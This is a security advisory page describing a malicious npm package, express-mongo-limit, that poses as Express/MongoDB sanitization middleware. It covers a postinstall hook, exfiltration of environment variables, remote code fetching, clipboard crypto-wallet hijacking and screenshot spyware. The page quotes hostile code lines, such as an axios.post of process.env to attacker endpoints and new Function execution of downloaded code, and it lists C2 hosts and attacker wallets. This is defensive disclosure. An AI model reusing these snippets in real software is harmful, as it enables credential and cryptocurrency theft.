Malicious code in express-mongo-limit (npm)
The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint, and `index.js` fetches arbitrary JavaScript from a C2 server and executes it with `new Function("require", response.data)(require)`, writing the payload to `apiKeyResponse.js` for persistence. Version 2.0.1 additionally ships `service.js`, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and `app.js`, which captures the desktop screen every 2 seconds and emails each screenshot to `[email protected]` via nodemailer/Gmail. It establishes persistence by globally installing `pm2`, `clipboardy`, and `screenshot-desktop` and registering `service.js` as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user `jon_conway` (`[email protected]`). --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60) The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (`node index.js`) globally installs pm2, clipboardy, and screenshot-desktop, then runs `pm2 start service.js`, `pm2 save`, and `pm2 startup` to persist a background service across reboots on the installer's machine. The persisted service (`service.js`) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling `app.js` runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account ([email protected]); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. `config/auth.js` also exports a `verify()` helper that POSTs the entire `process.env` to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in `.env`), with an `atob`-based decoder used to hide the destinations. The package name and description mimic the widely-used `express-mongo-sanitize` while the README is an unrelated `hello-world-package` stub, indicating the metadata is a lure. Installation on a default `npm install` triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.
AI Analysis
Technical Summary
The express-mongo-limit npm package is a malicious package that, upon installation, runs a postinstall hook executing 'node index.js'. This hook globally installs pm2, clipboardy, and screenshot-desktop, then uses pm2 to start and persist a background service (service.js) that polls the system clipboard every second. When it detects cryptocurrency addresses (ETH, BTC, SOL, TRX), it replaces them with hardcoded attacker wallet addresses to redirect funds. A sibling script (app.js) captures desktop screenshots every two seconds and emails them via nodemailer through a Gmail account. The package also includes a verify() function that exfiltrates environment variables to obfuscated Vercel endpoints. The package metadata mimics the legitimate express-mongo-sanitize package, but the README is unrelated, indicating a lure. This results in persistent remote code execution, clipboard hijacking for crypto theft, desktop screenshot exfiltration, and environment variable leakage.
Potential Impact
Installation of this package results in persistent remote code execution on the victim's machine. It enables theft of cryptocurrency by replacing clipboard-copied wallet addresses with attacker-controlled addresses. It also compromises user privacy and confidentiality by capturing and exfiltrating desktop screenshots. Furthermore, it leaks environment variables to attacker-controlled endpoints, potentially exposing sensitive configuration and credentials. These combined impacts pose significant risks to confidentiality, integrity, and availability of the affected system and user assets.
Mitigation Recommendations
No official patch or remediation is currently available for this malicious package. Users should avoid installing express-mongo-limit versions 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6. Remove any installations of this package immediately and investigate affected systems for persistence mechanisms such as pm2 services. Monitor for unauthorized processes and network connections related to the described behavior. Use trusted sources and verify package authenticity before installation to prevent supply chain compromise.
Malicious code in express-mongo-limit (npm)
Description
The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint, and `index.js` fetches arbitrary JavaScript from a C2 server and executes it with `new Function("require", response.data)(require)`, writing the payload to `apiKeyResponse.js` for persistence. Version 2.0.1 additionally ships `service.js`, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and `app.js`, which captures the desktop screen every 2 seconds and emails each screenshot to `[email protected]` via nodemailer/Gmail. It establishes persistence by globally installing `pm2`, `clipboardy`, and `screenshot-desktop` and registering `service.js` as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user `jon_conway` (`[email protected]`). --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60) The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (`node index.js`) globally installs pm2, clipboardy, and screenshot-desktop, then runs `pm2 start service.js`, `pm2 save`, and `pm2 startup` to persist a background service across reboots on the installer's machine. The persisted service (`service.js`) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling `app.js` runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account ([email protected]); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. `config/auth.js` also exports a `verify()` helper that POSTs the entire `process.env` to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in `.env`), with an `atob`-based decoder used to hide the destinations. The package name and description mimic the widely-used `express-mongo-sanitize` while the README is an unrelated `hello-world-package` stub, indicating the metadata is a lure. Installation on a default `npm install` triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The express-mongo-limit npm package is a malicious package that, upon installation, runs a postinstall hook executing 'node index.js'. This hook globally installs pm2, clipboardy, and screenshot-desktop, then uses pm2 to start and persist a background service (service.js) that polls the system clipboard every second. When it detects cryptocurrency addresses (ETH, BTC, SOL, TRX), it replaces them with hardcoded attacker wallet addresses to redirect funds. A sibling script (app.js) captures desktop screenshots every two seconds and emails them via nodemailer through a Gmail account. The package also includes a verify() function that exfiltrates environment variables to obfuscated Vercel endpoints. The package metadata mimics the legitimate express-mongo-sanitize package, but the README is unrelated, indicating a lure. This results in persistent remote code execution, clipboard hijacking for crypto theft, desktop screenshot exfiltration, and environment variable leakage.
Potential Impact
Installation of this package results in persistent remote code execution on the victim's machine. It enables theft of cryptocurrency by replacing clipboard-copied wallet addresses with attacker-controlled addresses. It also compromises user privacy and confidentiality by capturing and exfiltrating desktop screenshots. Furthermore, it leaks environment variables to attacker-controlled endpoints, potentially exposing sensitive configuration and credentials. These combined impacts pose significant risks to confidentiality, integrity, and availability of the affected system and user assets.
Mitigation Recommendations
No official patch or remediation is currently available for this malicious package. Users should avoid installing express-mongo-limit versions 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6. Remove any installations of this package immediately and investigate affected systems for persistence mechanisms such as pm2 services. Monitor for unauthorized processes and network connections related to the described behavior. Use trusted sources and verify package authenticity before installation to prevent supply chain compromise.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-7012
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a520ecc68715ace438f6408
Added to database: 07/11/2026, 09:37:16 UTC
Last enriched: 07/11/2026, 09:58:40 UTC
Last updated: 07/19/2026, 04:48:31 UTC
Views: 5
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.